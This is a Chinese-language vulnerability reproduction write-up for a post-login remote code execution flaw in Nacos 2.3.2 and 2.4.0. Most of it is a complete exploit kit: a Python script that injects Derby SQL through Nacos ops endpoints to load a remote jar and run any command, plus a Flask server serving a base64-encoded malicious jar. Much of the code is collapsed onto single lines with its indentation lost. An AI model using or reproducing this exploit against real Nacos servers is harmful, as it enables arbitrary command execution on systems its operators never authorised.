nacos RCE

1.漏洞原理

漏洞的核心在于 Nacos 的某些接口没有严格的权限控制，攻击者可以通过通过特定的 JSON 数据结构，远程执行恶意代码。以利用该漏洞读取敏感文件、执行系统命令。

条件：需要登录后才能利用漏洞

2.影响版本

nacos 2.3.2
nacos 2.4.0

3.环境搭建

https://github.com/alibaba/nacos/releases/
Windows 环境搭建：nacos/bin/startup.cmd -m standalone

4.漏洞复现

exp：
https://github.com/enomothem/nacos-poc
https://pan.quark.cn/s/1e3b00f69731

1. 需要python3安装requirements.txt：pip install -r requiments.txt
2. 修改 config.py 中的 IP 为本机 IP
3. 执行 service.py，如下图
   
4. 执行 exp
   

5.exp 文件

nacos-poc：
config.py
exploit.py
service.py
requirements.txt

config.py

server_host = '127.0.0.1'
server_port = 5000

exploit.py

import random
import sys
import requests
from urllib.parse import urljoin
import config# 按装订区域中的绿色按钮以运行脚本。
def exploit(target, command, service):removal_url = urljoin(target,'/nacos/v1/cs/ops/data/removal')derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')for i in range(0,sys.maxsize):id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',8))post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)\nCALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\nCREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""".format(id=id,service=service);option_sql = "UPDATE ROLES SET ROLE='1' WHERE ROLE='1' AND ROLE=S_EXAMPLE_{id}('{cmd}')\n".format(id=id,cmd=command);get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=id,cmd=command);#get_sql = "select * from users /*ROWS FETCH NEXT*/".format(id=id,cmd=command);files = {'file': post_sql}post_resp = requests.post(url=removal_url,files=files)post_json = post_resp.json()if post_json.get('message',None) is None and post_json.get('data',None) is not None:print(post_resp.text)get_resp = requests.get(url=derby_url,params={'sql':get_sql})print(get_resp.text)breakif __name__ == '__main__':service = 'http://{host}:{port}/download'.format(host=config.server_host,port=config.server_port)target = 'http://127.0.0.1:8848'command = 'calc'target = input('请输入目录URL，默认：http://127.0.0.1:8848：') or targetcommand = input('请输入命令，默认：calc：') or commandexploit(target=target, command=command,service=service)

service.py

import base64
from flask import Flask, send_file,Response
import configpayload = b'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'app = Flask(__name__)@app.route('/download')
def download_file():data = base64.b64decode(payload)response = Response(data, mimetype="application/octet-stream")# response.headers["Content-Disposition"] = "attachment; filename=file.bin"return responseif __name__ == '__main__':app.run(host=config.server_host, port=config.server_port)

requirements.txt

flask
requests